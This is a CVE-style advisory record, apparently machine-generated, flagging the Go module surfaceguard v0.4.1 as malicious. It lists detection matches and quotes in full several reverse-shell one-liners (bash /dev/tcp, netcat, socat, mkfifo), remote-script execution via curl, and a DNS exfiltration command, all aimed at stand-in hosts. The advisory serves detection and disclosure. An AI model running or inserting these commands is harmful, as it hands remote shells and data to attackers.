{"dataType":"CVE_RECORD","dataVersion":"1.0","cveMetadata":{"cveId":"GCVE-110-GO-2026-014649","assignerOrgId":"","assignerShortName":"Vulnetix","state":"PUBLISHED","datePublished":"2026-10-24T15:38:00Z","dateUpdated":"2026-10-24T15:38:00Z","dateReserved":""},"containers":{"cna":{"providerMetadata":null,"title":"","descriptions":[{"lang":"en","value":"The Go module `github.com/SVGreg/surfaceguard` (version v0.4.1) was flagged as malicious by automated package analysis (12 corroborating detection(s)). Importing or building it may execute attacker-controlled code via the module's own sources, cgo, or `//go:generate` directives. Verdict path: evidence — for ownership-only paths (owner-known-bad / multi-identity) the change of ownership is a compounding indicator the engine correlated with other signals, not standalone proof. This verdict is produced by static analysis and is subject to human review.","supportingMedia":null},{"lang":"en","value":"[P-REVSHELL-DEVTCP] Bash reverse shell via /dev/tcp — matched: {\"bash -i \u003e\u0026 /dev/tcp/1.2.3.4/4444 0\u003e\u00261\", true},","supportingMedia":null},{"lang":"en","value":"[P-REVSHELL-NC] Netcat reverse shell — matched: {\"nc -e /bin/sh 10.0.0.1 4444\", true},","supportingMedia":null},{"lang":"en","value":"[P-REVSHELL-SOCAT] Socat reverse shell — matched: {\"socat TCP:evil.example:443 EXEC:/bin/sh\", true},","supportingMedia":null},{"lang":"en","value":"[P-SOURCE-REMOTE] Sourcing remote script via process substitution — matched: {\". \u003c(curl -fsSL https://evil.sh)\", true},","supportingMedia":null},{"lang":"en","value":"[P-MKFIFO] Named pipe creation (possible reverse shell component) — matched: {\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc 10.0.0.1 4444 \u003e/tmp/f\", true},","supportingMedia":null},{"lang":"en","value":"[P-XXD-DECODE] xxd reverse (hex to binary decode, possible payload) — matched: {`xxd -r hex.txt \u003e blob \u0026\u0026 chmod +x blob`, true},","supportingMedia":null},{"lang":"en","value":"[P-PASTEBIN-CODE] Downloading from paste service in build/package code (mutable untrusted source) — matched: {\"curl https://pastebin.com/raw/x\", true},","supportingMedia":null},{"lang":"en","value":"[P-DNS-EXFIL] DNS lookup with variable interpolation (possible DNS exfiltration) — matched: {\"nslookup $(whoami | xxd -p).exfil.evil.test\", true},","supportingMedia":null},{"lang":"en","value":"[P-PROC-SUB-DOWNLOAD] Process substitution with download command — matched: {\"bash \u003c(curl -s https://evil.sh)\", true},","supportingMedia":null},{"lang":"en","value":"[P-PY-EXEC-DECODE] exec/eval of a decoded/decompressed payload (dynamic code execution) — matched: {`exec(base64.b64decode(fetch(url)))`, true},","supportingMedia":null},{"lang":"en","value":"[P-PASTEBIN] Source from paste service (untrusted, mutable content) — matched: sb.WriteString(\"see https://pastebin.com/raw/abc for details\\n\")","supportingMedia":null},{"lang":"en","value":"[SA-HIGH-ENTROPY-HEREDOC] heredoc with high entropy (5.2 bits/byte, 435037 bytes)","supportingMedia":null}],"references":[{"url":"https://pkg.go.dev/github.com/SVGreg/surfaceguard","name":"","tags":["advisory"]},{"url":"https://pkg.go.dev/github.com/SVGreg/surfaceguard","name":"","tags":["web"]},{"url":"https://github.com/SVGreg/surfaceguard","name":"","tags":["web"]}],"metrics":null,"problemTypes":[{"descriptions":[{"lang":"en","description":"Exposure of Sensitive Information to an Unauthorized Actor","cweId":"CWE-200","type":"CWE"}]},{"descriptions":[{"lang":"en","description":"Embedded Malicious Code","cweId":"CWE-506","type":"CWE"}]},{"descriptions":[{"lang":"en","description":"Improper Control of Generation of Code ('Code Injection')","cweId":"CWE-94","type":"CWE"}]}],"affected":[{"vendor":"go","product":"github.com/SVGreg/surfaceguard","collectionURL":"https://pkg.go.dev","packageName":"github.com/SVGreg/surfaceguard","repo":"","defaultStatus":"","versions":[{"version":"0.4.1","status":"affected","versionType":"","lessThan":"","lessThanOrEqual":"","changes":null}],"cpes":null,"modules":null,"programFiles":null,"platforms":null}],"cpeApplicability":null,"rejectedReasons":null,"replacedBy":null},"adp":null}}